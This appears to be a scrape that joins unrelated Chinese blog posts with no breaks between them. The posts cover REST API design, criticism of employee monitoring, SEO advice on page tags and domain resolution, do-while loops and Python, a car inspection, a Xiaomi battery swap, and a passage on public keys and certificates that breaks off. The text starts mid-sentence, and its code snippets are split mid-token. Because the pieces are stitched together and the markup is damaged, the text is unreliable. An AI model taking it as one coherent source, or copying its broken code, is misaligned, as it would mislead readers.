关键字,以及关键词。如:GET /books/search?description=algorithm
或是直接就是全文搜索 GET /books/search?key=algorithm
。
分页。对于结果集进行分页处理,分页必需是一个默认行为,这样不会产生大量的返回数据。
page
和per_page
代表页码和每页数据量,比如:GET /books?page=3&per_page=20
。page
方式为使用相对位置来获取数据,可能会存在两个问题:性能(大数据量)与数据偏差(高频更新)。此时可以使用绝对位置来获取数据:事先记录下当前已获取数据里最后一条数据的ID
、时间
等信息,以此获取 “该ID之前的数据” 或 “该时刻之前的数据”。示例:GET /news?max_id=23454345&per_page=20
或 GET /news?published_before=2011-01-01T00:00:00Z&per_page=20
。
注意:这里需要注意一下,在理论上来说GET
是可以带 body 的,但是很多程序的类库或是中间件并不支持 GET 带 body,导致你只能用 POST 来传递参数。这里的原则是:
对于简单的查询,很多参数都设计在 restful API 的路径上了,而 filter/sort/pagination 也不会带来很多的复杂,所以应该使用 GET
index/_search
里的 DSL,你也应该尽可能的使用 GET
,而不是POST
除非客观条件上不支持GET
。ElasticSearch 的官方文档里也是这么说的。The authors of Elasticsearch prefer using GET for a search request because they feel that it describes the action—retrieving information—better than the POST verb. (我们推荐使用 GET而不是 POST,因为语义更清楚)However, because GET with a request body is not universally supported, the search API also accepts POST requests (除非你的类库或是服务器不支持 GET带参数 ,你再用POST,我们两个都支持)
陈皓注:但是在 ElasticSearch 7.11 后,GET 也不支持 body 了。这是 ElasticSearch 的设计和实现不对应了。
最后,如果你想在Rest中使用像GraphQL那样的查询语言,你可以考虑一下类似 OData 的解决方案。OData 是 Open Data Protocol 的缩写,最初由 Microsoft 于 2007 年开发。它是一种开放协议,使您能够以简单和标准的方式创建和使用可查询和可互操作的 RESTful API。
下面是对几个问题的直接回应,如果大家需要我回应更多的问题,可以在后面留言,我会把问题和我的回应添加到下面。
Restful API算是一个HTTP的规范和标准了,你要说是最佳实践也好,总之,它是一个全世界对HTTP API的一个共识。在这个共识上,你可以无成本地享受很多的技术红利,比如:CDN,API网关,服务治理,监控……等等。这些都是可以让你大幅度降低研发成本,避免踩坑的原因。
因为API是一种契约,一旦被使用上,就很难再变更了,就算你发行新的版本的API,你还要驱动各种调用方升级他们的调用方式。所以,接口设计就像数据库模式设计一下,一旦设计好了,未来再变更就比较难了。所以,还是要好好设计。正如前面我给的几个文档——Microsoft REST API Guidelines,Paypal API Design Guidelines 或是 Google API Design Guide 都是让你好好设计API的不错的 Guidelines.
不会。
很多同学以为 GET
的请求数据在URL中,而 POST
的则不是,所以以为 POST
更安全。不是这样的,整个请求的HTTP URL PATH会全部封装在HTTP的协议头中。只要是HTTPS,就是安全的。当然,有些网关如nginx会把URL打到日志中,或是会放在浏览器的历史记录中,所以有人会说 GET
请求不安全,但是,POST
也没有好到哪里去,在 CSRF 这个最常见的安全问题上,则完全就是针对 POST
的。 安全是一件很复杂的事,无论你用哪方法或动词都会不能代表你会更安全。
另外,
GET
上有敏感信息,应该加个密,这个跟 POST
是一样的。GET
会被中间人修改,你应该做一个URL签名。(通常来说, 我们都在 GET
上做签名,POST
就忘做了)GET
不如 POST
安全的一个问题),你应该用 HMAC 之类的认证技术做好认证(参看 HTTP API 认证授权术)。总之,你要明白,GET
和 POST
的安全问题都一样的,不要有谁比谁更安全,然后你就可以掉以轻心的这样的想法,安全都是要很严肃对待的。
不但不会,反而更糟糕。
说这种话的人,我感觉是不会思考问题。
不要以为你回家早就没事了,如果你的代码有这样那样的问题,别人看懂,或是出误用了你的代码出了问题,那么,你早回家有什么意义呢?你一样要被打扰,甚至被叫到公司来处理问题。所以,你应该做的是为了“长期的早回家”,而不是“短期的早回家”,要像长期的早回家,通常来说是这样的:
回应两点:
其一,遵循个规范而已,把“正常”叫“优雅”,可见标准有多低。这么低的标准也只能“为了吃饭而生存了”。
其二,作为一个“职业程序员”,要学会热爱和尊重自己的职业,热爱自己职业最重要的就是不要让外行人看扁这个职业,自己都不尊重这个职业,你让别人怎么尊重?尊重自己的职业,不仅仅只是能够获得让人羡慕的报酬,而更是要让自己的这个职业的更有含金量。
希望大家都能尊重自己从事的这个职业,成为真正的职业化的程序员,而不是一个码农!
(全文完)
(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)
今天看到微博上有一个热点事件, 是一个关于某公司做的一个监控员工离职倾向的软件,从截图中可以看到员工访问招聘网站的次数,还有投递的简历以及搜索的关建词等等信息,通过这些信息分析员工的离职倾向。然后我发一个微博,说了一下,我以前工作过的公司无论外国公司还是中国公司都有这样的情况,收到一些人来问我相关的情况,所以,我想还是写篇文章详细地说一下,我对这种事情的看法。
本文分成下面个部分:
下面是我经历过的几个手段:
1)通过网络嗅探的方式。也就是说,你只要上了公司的网络,你个人设备上的通讯信息就可以被人以网络抓包+分析的方式进行分析。当然,这样的手段已经不怎么好用了,因为现在的网络基本上都是HTTPS加密的,网络嗅探的方式只能知道你访问了什么IP,对于其中的数据是没有办法知道的。
2)通过使用公司提供的软硬件工具。你使用公司的电子邮箱,浏览器(或是公司的代理服务器),通讯工具(包括语音电话),手机办公应用……等来处理你的个人事宜的时候,必然会被监控。这样,你只需要不要使用公司的软件来处理自己的私事就好了。
3)通过安装一个监控程序。这个是最可怕的了,因为无论你加不加密都没用了。一般来说,你不安装这个程序,你就没有办法连上网络,包括公司内网和外网。这个监控程序,会收集你电脑或手机上能够收集的到的所有的信息,比如,你的网络信息,按键操作,录屏,软件数据……等等。
4)办公区监控。我见过的还有使用摄像头,在会议室中安装声音和视频监控设备,对整个办公区内发生所有的事情进行监控。
5)通过爬虫。通过爬虫分析员工的社交平台上的各种言论,包括招聘网站。除了公司需要分布和自己相关的舆情,同样也开始监控员工的行为和价值观等。这已经不是监控隐私信息了……
公司监控的目的最早就是为了防止自己公司内的数据和信息外泄,所以,他们害怕自己的员工访问了什么不合适的网站,或是下载了什么有恶意的软件,或是不小心发错了邮件。另外一些公司也会使用外包人员,所以,对于外部编制的人员更需要有信息泄漏防范的安全需求。当然,也害怕有一些商业间谍或是自己的员工被收买了窃取公司内部的敏感信息。尤其是对于一些本身就是做数据的公司,如我以前呆过的Thomson Reuters,这家公司主要是卖金融数据的,所以,对信息泄漏是非常注重的,其就是需要在员工的电脑上安装监控软件。
还有一些劳动密集型的工作,比如在Amazon里的仓库里工作的人,公司会监控员工的工作量,以此来评估员工的工作绩效。对于用监控软件来评估程序员的工作量,我到今天仅见过监控外包人员的,在中国,外包人员需要使用甲方的电脑进行签到和签退,以及相关的工作。除了上述的信息安全目前,还能够看到员工的工作时长的情况。
所以,一般来说,公司监控的目的主要是为了自己的信息安全,还有员工的工作量评估,一般来说,不会涉及员工的隐私。
但是,随着收集的数据越来越多,有些公司发现还可以做更多的事,比如,上述的员工离职倾向的分析。还有一些公司还会收集员工在外网的数据,比如你在社交平台上的各种言论,来分析你对公司的忠诚度和你的价值观取向……我个人觉得这些已经令人不耻了。
我经历过的公司中,外国公司和中国公司都有监控的经历,这里说一下他们的不一样之处。最大的不一样的地方是,外国公司会让你有知情权,而中国公司则完全没有。
我记得我进入Thomson Reuters 公司的时候,公司要求签署一份监控的知情的同意书,其中用中英文写的,就是说,你授权公司监控你的如下这些信息:1)上网记录,2)下载的软件,3)工作电脑,4)公司的座机电话,5)会议室和办公区的语音和视频监控……大概有两页A4纸,然后也说明了这些数据公司仅用于信息安全的风控,不用于个人隐私分析等等……并且会符合法律要求保护员工的这些数据不外泄……这些条款都经得起法律的推敲。这样的协议是需要员工签字的,并且对双方都有法律约束的。
中国的公司则不会告诉你他们会监控你哪些数据,而这些数据拿来做什么。 我记得我在某公司工作的时候,就有员工发现自己访问自己的gmail的录屏被公司收集后的愤怒……
一方面,我对于公司通过使用监控软件监控员工的行为我是能够理解的,但是,应该让员工有知情权,并和员工明确一个监控的信息和范围,包括收集的数据的用途和安全措施,以及数据多长时间销毁的协议。如果没有这个协议的话,我觉得本质上就是一种流氓行为。
另一方面,针对监控员离职的倾向来说,我实在不知道有什么意义?公司你知道了又能如何呢?你是要找员工作思想工作,还是要给员工更好的待遇,还是直接开掉?如果你对自己的企业有信心,你就不必担心员工会离开,如果你的企业有问题,你为什么不把心思花在建设自己的企业上来呢?安装这样的监控软件对于企业没有什么帮助,反而只会让你的企业的形象更low……
再仔细想想,员工有一万种方法泄漏你公司的信息,无论你怎么监控,只要他想,他总是能够找到方法的,不是么?如何让找到或是培养有职业操守的员工,如何管理自己企业的商业信息,如何建立一个更好的企业文化让员工更有归属感,成为企业的共同体,一同维护共同利益,为企业着想,这不才是公司真正应该干的事吗?!监控员工充分暴露了这样的企业没有一个好的企业文化,不懂得高级的管理,所以,只能靠监控这样的手段来管理企业了……这样的企业不去也罢了。
(全文完)
(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)
上周讲到域名和主机对SEO的影响,并且就本站举例修正了一个致命的解析问题,本周内容开始转向一般意义上的白猫SEO手法上了。开始之前先来看一下本站最新情况,首先site语法,截止到2022年1月22日,百度已经收录了99个页面,并且最关键的是首页已经完成了更新。这也标志着本站已经从被K列表中挽救出来了,百度统计中关键词西枫里和西枫里博客两个特向性词已恢复到百度排名第一。本篇常规优化的主要内容为TKD的写法,频道页和文章页的注意事项。
▲这是之前的首页效果
首页title也就是网站标题,一个标识网站身份的核心要素,它的作用不言而喻。无论是搜索引擎收录展现的链接文字,还是浏览器标签页显示的字符通常情况下都是网页title标签中的内容。如何写好用好首页title,我将从如下几个方面阐述:
1、首页标题第一个要素便是站点名称,例如本站西枫里。因为个人网站备案问题,最好是站点名称和备案名称一致,但是本站早期备案没有顾及此方面,现首页title和备案名称不一致,这也是一个隐患,看着吧,将来哪天还得吃这个亏,现在就不去处理了。
2、第二个要素是网站slogan,例如本站“记录编程建站优化的学习博客”,一句话概括了站点的主要内容。当然我们也可以参考一下大站的slogan,例如:淘宝网的“淘!我喜欢”,微博的“随时随地发现新鲜事”,知乎的“有问题,就会有答案”。slogan唯一的要求就是不要做关键词堆砌,最好是一句话描述。
3、标题中的符号应用:站点名和slogan之间的间隔符,百度在《百度搜索网页标题规范》中曾提到,用短中划线做间隔符,蚂蚁线、竖线,逗号,破折号都改为短中划线。其它诸如标题中要使用的符号,请参考百度提供的下表内容。
4、首页标题长度,请注意控制在80个字符以内,通常80个字符是极限值,为了在搜索引擎页面展示的相对友好,控制在40个字符(20个汉字)以内为宜,而现在移动端占据了较大的流量,更好的适配移动端,限制字符还应再压缩。
5、前面强调了不要做关键词堆砌,还有非必要不要添加“官网”字样,但是很多童鞋会说我的就是官网啊,对于个人网站其实是没有官网概念的,而单位网站的官网需要资质提供支撑,能提供资质的,搜索引擎自己就能识别了,不要画蛇添足即可。
6、不要做诱导内容,也就是挂羊头卖狗肉,这是被严厉打击的对象,就不多说了。
7、更多的内容请参考前面提到的百度搜索网页标题规范,还有另一篇《产品、编辑必看:撰写搜索引擎喜爱的标题》可供参考,另本站之前的文章《SEO中网页标题该怎么写?》也可供参考。
或许全站唯一一个能让你做关键词堆砌的地方大概就是keywords了,而目前几乎所有的搜索引擎对keywords的权重都放到了相当低的位置,直白点说就是可有可无了,所以这个原则只有一条:不要放与本站不相关的关键词进去,和本站有关的关键词你随便怎么堆。
在早些年的时候,搜索引擎还会老实巴交的将description的内容作为收录展现的一部分,随着搜索引擎的改进算法的调整,现在搜索引擎展现出的描述是搜索引擎自己抓取的部分内容,百度也曾在站长论坛解释过这是用户体验的改进。所以这个原则也只有一条:不要顾左右而言他。
除非单页网站,所以一般而言大多数网站都有或多或少的频道/列表页面。这些页面也会参与到搜索引擎的排名中,因为它也有完整的title、keywords、description。一个分类明确的频道页面会囊括其下所有最终子页。这也为搜索引擎爬取提供了一个不错的聚合页面。那么列表页面的注意事项又是什么呢?除了页面自身的TKD外,它还需要两项比较核心的内容。
1、其下子页的标题和文章摘要聚合。列入本站“建站优化”频道页面,下面会囊括所有在该页面下面的文章,用了一个panel面板来展示汇集效果,有标题、子页链接、子页的文章摘要。当然,你如果能提供频道页的tag标签就更棒了。
2、翻页组件要正常。为什么要说正常,主要是我见过两种比较不太靠谱的翻页问题,第一种是翻页组件本身就有bug,例如翻页组件显示有10页内容,每页10条,共计100篇文章,而事实上文章页只有70篇,这对蜘蛛来说是个巨大的陷阱,所以这个问题要避免。第二种是明明1页就显示完了,非要整一个第二页出来,而点击第二页会跳到诸如广告页面上,这种就是会被搜索引擎打击的对象,今后我将在搜索算法中提到这个问题。
文章页的TKD遵循前述说明,然类似于文章优质内容这项目,会在后续的“内容为皇”的章节中再详细阐述。文章页面在构建的时候需要注意的标题标签使用,本站曾在之前有单独写过,可以查看《SEO中不可忽视的h1到h6的应用》。文章页的图片处理、链接处理也都会在后续章节中会单篇提及,这里就先过了。
最后还是预告,下一篇大概率会在优质内容创作、页面构建技巧、站点访问速度影响做选择,敬请关注。
// 打印小于 20 的数字
public class Test {
public static void main(String[] args){
int x = 10;
do {
System.out.print("value of x : " + x );
x++;
System.out.print("\n");
} while(x < 20);
}
}
i++
与++i
操作的区别,在某些特殊场合中,也许会更为高效。do {...} while (0)
用法。这在很多开源项目的源码中都能找到踪迹,例如 Linux、Redis 以及 CPython 解释器,等等。do {...} while (0)
却偏偏只需要它执行一遍,这初看起来是有点多余啊。do {...} while (0)
结合 break 使用,还可以实现很优雅的跳转控制效果。do {
// 执行步骤 1
if (条件1失败) {
break;
}
// 执行步骤 2
if (条件2失败) {
break;
}
// 执行步骤 3
if (条件3失败) {
break;
}
} while(0);
// 执行步骤 4
// 执行步骤 5
do:
pass
while False
do:
<setup code>
while <condition>:
<loop body>
while_stmt : ["do" ":" suite]
"while" expression ":" suite
["else" ":" suite]
do {...} while (0)
的跳转控制效果。while True:
<setup code>
if not <condition>:
break
<loop body>
Please reject the PEP. More variations along these lines won’t make the language more elegant or easier to learn. They’d just save a few hasty folks some typing while making others who have to read/maintain their code wonder what it means.
do {...} while (0)
的典型用法,但是,do-while 能够解决的几个问题要么在 Python 中并不存在(宏定义、汇编指令),要么就是已经有更为合适而低成本的实现(跳转控制)。根据公安部2020年最新规定,在实行6年以内的非营运6座以下小微型客车免检基础上,进一步扩大了免检的范围,将6年以内的7-9座非营运小微型客车(面包车除外)纳入免检范围。其中对超过6年不满10年的非营运小微型客车(面包车除外),检验周期由每年检验1次放宽至每两年检验1次(即私家车涵7座SUV10年内仅需上线检测2次,分别是第6年、第8年)。
我的车今年是第九个年头,那咋又要年检了呢,原本是去年第八个年头上检测线,但是去年疫情公安部交管局出了一个顺延一年的检测规定,所以我就变成第九年上线检测了,第七年年头上线检测是因为没赶上政策,第六年的年审也是这个系列的第一篇:《在上海外地牌照车辆异地年检流程》。
准备工作和检测流程,请参考上一篇《第二次办理车辆异地年审》,流程今年完全没变,需要注意的是,如果有违章要先去处理掉。然后车船税防止断档记得要衔接上,不过上海不核查车船税缴税证明。
周六早上早早的去把体检做了,回来的时候差不多8点半,时间还早,路上正好路过离我家最近的上海市第128机动车检测站,上海锦前机动车检测站,这个监测站规模比较小,和第一次去的嘉定那家差不多大,比前年去的鹿亭检测站小不少。进门在待检区停好车,熄火留下钥匙,把后备箱三角架拿出来放副驾驶,拿着行驶证去前台,办理检验等级和付费,今年又涨价了20块钱,变390了。然后前台工作人员就会跟你说把钥匙放车上三角架放副驾驶,我都弄完了,就说好了,然后就在大厅等吧,有专人会去把车开到检测线上,在大厅有显示屏可以查看的,闲着没事看了一下这家检测站的顺序,外观检查、轮上功率刹车检查、灯光检查、尾气排放检查,OBD检查视频每看到,应该是在排放检查一起做了。约莫1个多小时检查好,然后等数据上报市公安局系统,等待回传打印检验报告,就完成整个年审了,但是今年没有给我检测报告,直接给了我检验合格的标贴。莫不是又为了环保,检验报告也不打印了,管它呢,回家重要。
最后还是那句话:千万不要去找黄牛,千万不要去找黄牛。
原本这一篇应该讲讲“备案如何不影响收录”,但是我发现我要讲的主角“闭站保护”已经被百度给关停了,只能换这个主题了。关于域名和主机对SEO的影响,正好这也是我这次转移服务器,马虎大意犯的一个致命错误,加上又修改title、keywords直接导致本次被K站的发生。大致讲一下“闭站保护”,原百度提供了一个备案期间网站需要关停防止被K推出的一个工具,在百度站长平台可以自行申请暂时将网站设置为闭站状态,然后爬虫就不会来爬了,享有一定时间的保护期。很可惜这个工具百度给关停了,至于会不会恢复,大概率是不会恢复了吧。
今天的主角是域名和主机,这俩货对SEO的影响不可谓不大,乍看之下不觉得有啥,细看之下就有点意思了,接下来会先从我这次西枫里博客转移服务器详细讲解一下域名和主机的注意事项,所有做SEO的小伙伴,特别是新入这行的可以了解一下,SEO大拿请自动忽略。
从我这次的案例,主要是域名解析问题。上篇博文《尝试挽救一下我的SEO——缘起》中提到我在查询百度索引的时候发现索引量急剧下降,所以我就使用站长工具的抓取诊断做了下测试,意外发现了个问题,抓取失败是在意料之中,但抓取失败的原因404,点开详情,一眼就看到网站IP咋是之前的服务器IP?心想大概是缓存,就点击了一下IP地址后面的报错按钮申报,百度提示是几分钟内会更新,过了10分钟再试,还是抓取失败,还是这个IP,这时候其实我已经在怀疑哪里出问题了。第一个反应是因为我用了CDN,所以莫不是CDN的回源地址忘改,火速去阿里云看了一下,发现并没有错误,在搬家的时候改成正确的了。然后又去找了一下百度关于IP抓取错误的说明,在百度站长平台问答中心中找到百度关于此处的说明,需要耐心等待一周,很显然页面上显示的几分钟完全不匹配嘛。那就耐心等,然后就顺手去翻了一下我的域名解析,不翻不知道,一翻吓一跳。我竟然把针对百度蜘蛛的解析忘了改过来,因为我域名解析记录比较多,解析记录已经翻页了,在第二页看到这条,顿时捶胸顿足,好一顿数落自己。马上去修改了解析,再试抓取诊断,还是没有成功,作罢。第二天的时候再试,发现已经正确识别了。
描述了上面一大段案例情况,这里其实有两个重点:一、如果有针对搜索引擎解析线路的,务必修正成正确的IP地址。二、如果采用CDN内容分发的,务必要单独针对搜索引擎做解析,要不然爬虫每次过来,每次得到的IP可能都不尽相同,对SEO是个重大缺陷。
这里“二手域名”并不特指你购买过来已被注册过的,也包括原本就是自己的,然后换内容做站的。那这个二手域名最大的隐患其实是之前的站是否是违法违规的,比如国内浏览器、安全厂商通常有域名黑名单机制,你这个域名以前做过非法网站,进入黑名单了,你注册过来,大概率是不会主动从黑名单解封的,所以被安全提醒的域名与SEO也就无缘了,建议你更换个一手域名操作吧。第二个隐患是即便之前的站不是违法违规的,但是使用过类似快排手段操作过SEO的,那么也很不幸,你在搜索引擎的眼里已经缺乏了诚信,所以大概率是做不上排名的了。
一个SEO行业众所周知的常识:网站首页权重>频道页权重>详情页权重。那么一个网站只有一个首页这个是显而易见的,但是呢有一个技术问题造成多数情况下的网站事实上会产生两个首页,就是一个带www的二级域名,一个不带www的主域名,如果你的网站解析了www,那访问www和不带www都会进入首页,这样权重就分散了,特别是在外链建设的时候既有www的又有不带www的,权重分散的实质后果就产生了。所以如果解析了www二级域名,并且主域名也是同一个站的话,那务必将主域名301到www二级域名上,如果按google现在隐藏www的策略来做,那干脆就不要解析www二级域名了。另外301重定向很多主机面板都自带,如果实在没有,那就在代码里面写一下也可以的。
百度曾在早些年开放过一批特定行业的备案信息,包括医疗、金融、家电维修等网络欺诈的高风险区域,后来随着备案的强制性,加上后来新增的官网标注策略,现在已经在快照上看不到备案信息标注了。现有信息显示ICP备案在国内搜索引擎规则里面是必然存在的影响因素,随着互联网监管越来越严格,这个因素的权重值会越来越高,从百度站长平台Q&A中同样可以找到答案。
一句话吧,如果不是80和443端口访问的,一律没有优化的必要,因为这算私域。早些年,百度对443的都抓取不到,当然现在443的权重比80的权重更高了。所以现在要做SEO的,尽量都上https吧。
第一个是主机上的防火墙有没有屏蔽搜索引擎的蜘蛛IP段,如果不巧你封禁了蜘蛛IP段,自绝于SEO的路上那就没啥办法了。除了屏蔽蜘蛛IP的,有些人会设置地域性屏蔽,例如之前有人操作过为了备案,将备案地的整体进行屏蔽,当然现在这个都行不通了。屏蔽地域以后,而搜索引擎的蜘蛛是会分很多功能,不同的蜘蛛评估策略不同,其中就有评估网站连通性的,某地无法访问,蜘蛛就会对相应网站降权。
第二个是对User-Agent的过滤,如果你的过滤策略很宽泛,那把蜘蛛的User-Agent也涵盖了,那和屏蔽IP是等同效果,如果有User-Agent白名单,务必将蜘蛛的User-Agent加入白名单,如果没有白名单,那黑名单务必严谨一点,不要太宽泛。
第一种情况是拒绝服务攻击,其实单纯攻击是没有影响的,只要你的主机能抗住不倒下就没问题。但多数情况下中小网站是无法抵抗大规模攻击的,一旦产生过量的CC和DDOS攻击,网站的稳定性就变的及差,这就牵扯到前面说的网站连通性的评论策略了。
第二种是劫持攻击,包括将域名劫持到第三方网站,或者劫持域名弹出广告等,对搜索引擎而言,说白了就是偷梁换柱,弹窗广告包括形式和内容又会触发多种排名算法,关于百度排名算法后面会开篇单讲。
第三种是注入攻击,攻破你的网站,植入恶意代码,或者内嵌隐藏的恶意界面,虽然界面上看不到,但是蜘蛛是可以访问的,所以又会触发搜索排名算法。
关于攻击的总结起来也是一句话,一旦发生攻击,务必最短时间解决攻击问题,否则SEO就是空中楼阁。
最后,域名和主机对SEO的影响主要内容基本都在这里了,可能还有我没想到的麻烦大佬指正,下一篇的主题会回到网站程序上来,敬请关注。
双十一的时候换了服务器,从一个马爸爸投奔另一个马爸爸,结果得罪了李爸爸,整站被K的只剩下一个页面了。当然这只是玩笑话,真正的原因还是因为备案问题,为达到备案要求修改了title和description,触到了搜索引擎的红线。所以面向百度的流量也就归零了。虽说写博客是给自己写着玩的,但是我的博文单纯的流水账还是比较少的,多少会对遇到过同类问题的人有所帮助,所以如果从互联网上消失了,那这个博客也就没有意义了。
当然我也不是说自己的博文有多大价值,只是比较赞同博客志上关于价值的描述:内容丰富有价值,原创性高。具体可以去点击博客志底部链接。当发现几乎整站被K的时候,犹豫了三两下,还是尝试抢救一下,所以本文将会是一个系列的头篇,暂定会每周更新一篇的频率,持续更新三个月,如果三个月后没有起色,那就是凉透了,自是无需抢救了。
通过site语法可以看到目前西枫里博客在百度的展现页面只有两个,下图一所示。两个页面分别是一个不带www的主域名页面,一个search页面。这里要说明的是,本站的首页是带www的,不带www的主域名是301重定向到www域名的。下图二所示。另外,不同地区使用site语法得到的结果可能是不同的。
这里利用一下5118的网站排名查询工具,下图一中可以很清楚的看到在11月6日百度的排名展示出现了断崖式下跌,而11月6日我做了什么呢?正好是我把服务器从阿里云切换到腾讯云,并在腾讯云重新做网站新增接入备案的时间点。下图二是我提交备案的时间记录。但如果单纯做备案会出现这种排名丢失的情况吗?当然我还得先说明一下,直观上这是排名丢失了,背后其实是百度收录丢了,也就是所谓被K页面了。
有人会说是不是关站了导致的,很严肃的说没有关站,因为是做备案新增接入,所以是无需关站的,我阿里云服务器室11月11日到期,腾讯云是11月1日购买的,中途无缝迁移了整站数据。所以不存在关站的问题,关于什么是新增接入备案,可以参考我之前的博文:关于ICP备案你所不了解的那些事。
排除关站这个因素之外,确实和备案有关,因为备案我改动了博客页面。正是因为修改了页面才会导致收录丢失,至于丢失的原因在后面的为什么里面解答。
原因也很简单,因为备案需要合规,因为不合规所以才要修改。那不合规的内容是不是违法信息,再次很严肃的说当然没有,甚至擦边球的内容都没有,在阿里云做的备案,和在腾讯云做的备案,容忍尺度略有差异,但这也不是最重要的,因为当初阿里云做初始备案的时候是网站没上线的状态,所以上线后具体是啥内容,一般不违法也就没有人去管你传的是什么内容了。
这里我直接就放一下第一次提交给腾讯备案资料,然后腾讯给拒的截图吧。我们来看一下里面的四点点内容,本站最受影响的其实是第三点,就是网站标签页名称与备案名称不符。备案名称“编程技术”,标签页名称“西枫里博客”。当然第一点里面的内容严格讲起来,在座的博客都不合规,因为个人性质的网站不得具有评论功能,但实际上在操作层面这个只要内容不违法,基本上也放行了。
这个我们去翻一下百度的搜索引擎白皮书,就能找到答案,在百度《索引量下降常见原因及解决方案》的文章中,有这么一段话:“某类url下的TD(网页title、description)变化,如变化比例大、变化页面量大,页面进行更改后会重走建索引库流程,如果页面质量达不到建索引库标准会从线上消失。”,并且这段内容是加粗显示的,如下图所示。所以很清楚了,我修改了title标签,导致百度索引认为该页面已经完全变掉了,需要重建索引,如文章质量不高,那这个索引可能就永远回不来了。
这个问题比较深奥,搜索引擎的基本原理是爬取一个页面,将页面标题、描述和页面链接存进搜索引擎的索引库,当用户搜索内容的时候,搜索引擎会将索引库中复核要求的内容放出,而索引建立的依据通常包含了页面URL、title、keywords、description。所以这也是为什么做SEO都要强调这几个的原因。
好了,本文讲述了本站排名丢失的原因,下一期会讲“备案如何不影响收录”,敬请关注!
前几天米12都发布了,雷布斯也在微博上亲手拔掉了一个米6钉子户,作为穷人的代表,米6的性能完全还没有到淘汰的地步,吃干榨净它成为我的唯一选项。话说我这米6也整整4个年头了,好像只有当年第一个手机NOKIA才用过这么长时间,去年将运存从4G升到8G,把系统从MIUI11升级到MIUI12以后,越发不舍得换手机了。之前的帖子可以点击这里查看。最近网上又有报大佬将MIUI13移植到米6上了,过段时间看看能不能折腾一下。
这不冬天了,电池续航持续下降,工作时间要是有一两个电话会议,下午一两点就没电了,早上是满电出门的。由此联想开来,实在想不通这年头怎么会有人买电动汽车,如果没有沪牌赠送,买电动车的是不是人(sha)才(que)?言归正传,选个米6的电池,原装电池是国内大佬飞毛腿代工的,某东买个飞毛腿的就完事了,链接在这里。优惠啥的下来60几块钱到手。
▲3130mAh的额定容量,一天够用了。
买电池附赠了拆机工具,用吸盘拉后盖角,我的手机已经被拆过两回了,很好处理,如果从没被拆过的,请用热风枪吹一下软化封胶,没有热风枪那吹风机有没有?
拉出一条缝隙后,用撬棒卡进去,四周划拉一圈就完事,胆大心细,四两拨千斤,无他
揭开贴在电池上面的黑色胶纸,不知道啥作用,我的是换过电池的,所以这个被揭过,一扯就开。然后揭开背胶的两端,框线所示。尝试用螺丝刀直接卷背胶,此图错误示范,应为被我卷断了。
原本想偷懒的,不想拆下面的小板,直接拉背胶,没成功,老实的把下面的小板改给拆了,螺丝就这些。
取下小板盖后,就得拉背胶了,因为我的被拉断了,所以我是暴力撬电池的,撬出缝隙后用镊子把背胶重新扯出来。撬电池如果不放心手机记得提前放电,我这种拆东西自信爆棚的人没考虑。
背胶拆掉电池就能翻起来了,才看到电池接触脚被主板上盖压在下面,不得已还得拆上盖,这是我装好电池后补拍的一张螺丝位置图,拆的时候忘拍了。
装回主板上盖和小板上盖,贴上黑色胶贴,开机测试一下
把后台和手机侧边密封胶清理一下,合上后盖,对了,一但拆过你的手机就完全不防水了。另外如果你自己没有密封胶的话,那原长密封胶没用弄脏没有搞成一大坨的话,不清理直接扣上后盖还能继续起作用。
我写的比较粗糙,想动手的另有笛大佬的文章可供参考,链接在这里。
这篇文章是《HTTP API 认证授权术》的姊妹篇,在那篇文章中,主要介绍了 HTTP API 认证和授权技术中用到的 HTTP Basic, Digest Access, HMAC, OAuth, JWT 等各种方式,主要是 API 上用到的一些技术,这篇文章主要想说的是另一个话题——身份认证。也就是说,怎么确认这个数据就是这个人发出来的?
要解决这个问题,我们先来看一个最简单的解——使用密码,通常来说,在网络上要证明一个人的身份的话,都需要这个人的一些私密而唯一的东西。比如,像密码这样的东西,很多地方,只要你提供了你的用户名+密码,就可以确定这个人是你(注明:关于密码管理,强密码设定,密码泄漏,密码破解以及密码哄骗不在这篇文章的话题中),也就是说,这个密码是非常私密的事,我们可以假设,这个事全世界只能有当事人一个人知道,所以,当事人得供正确的密码,我们就可以认证这个人了。
为了加强密码的安全程度,一般会使用 2FA(Two-factor authentication)或 MFA(Multi-factor authentication),双因认证或多因认证,这需要用户提供一个唯一的可信设备,比如用户的手机,然后通过验证手机短信,或是像 Google Authenticator 这样的动态口令来完成。这样的安全级别已经算是比较高了。如果能够再加上经常性的变更密码,那么安全级别就更好了。
另外,一些公司还使用了生物密码来进行用户的身份验证,比如人脸识别。但是,我个人觉得人脸识别或是生物识别是比较糟糕的方式,因为:
密码可以解决身证认证的问题有很多问题,最重要的一个问题就是,你要把你的密码提供给对方,对方才能验证你的身份。你不可能把你的密码提供给全世界的人吧,这样的话,全世界的人都有你的密码了,那么任何人都能变成你了。所以,用户密码这个事只能存在于权威机构和普通用户之间,不能存在于普遍应用中。所以,这里需要使用更好的解决方案。
使用 ECC(Elliptic-Curve Cryptography)椭圆曲线密码术,可以通过一个“密钥对”进行非对称加密。这种技术,在对信息进行加密和解密时,使用两个不同的密钥,其中一个用来做加密,另一个做解密。这样一来,我们就可以把其中一个密钥公布出去,称之为公钥,另一个密钥私密地保管好,称之为私钥。
比如,我用我的私钥加密信息,然后,我把这个私钥所配对的公钥发布给所有人,大家都用公钥解密信息,不用我的公钥你解密不了这个信息。这样一来,就可以保证这个信息是我发出来的,不但保证了信息安全,还完成了身份认证。
这样的现实案例一般用于网站,也就是用户得要知道我访问的这个网站是真实的,不是别人做的。因为 DNS 很容易被 hack,你连上一个不可信的网络,这个网络里的 DNS 把这个网站的 IP 地址解析成什么 就是什么了。但是有了这个加密的机制后,网站把自己的信息加密后连同公钥给到访问者,访问解密后就知道是不是这个网站了。
但是,这里还是会有一个很严重的问题,那就是中间人攻击。如下图所示:
中间人 Chad 把自己伪装成 Bob 向 Alice 要信息,然后,再伪装成 Alice 对 Bob 说,这就是 Alice 的公钥,于是 Bob 也无法验证是不是 Alice 的公钥,因为公钥里就是一堆乱七八糟的数据,我们完全不能分辨哪个公钥属于 Alice 的。试想,如果我们收到声称属于银行的密钥。我们怎么知道它确实属于你的银行?
这里的答案就是使用数字证书。证书跟我们的身份证非常类似,其需要一个可信机构来颁发和验证的。这个证书机构 CA(Certificate Authority)是一个是大家都相信的权威机构,他用他的人品保证(当然一般会被严格管理和审计),CA 机构同样使用这样的非对称加密的技术来完成颁发和验证的事。下图展示了这一过程。
说明一下上面这个图:
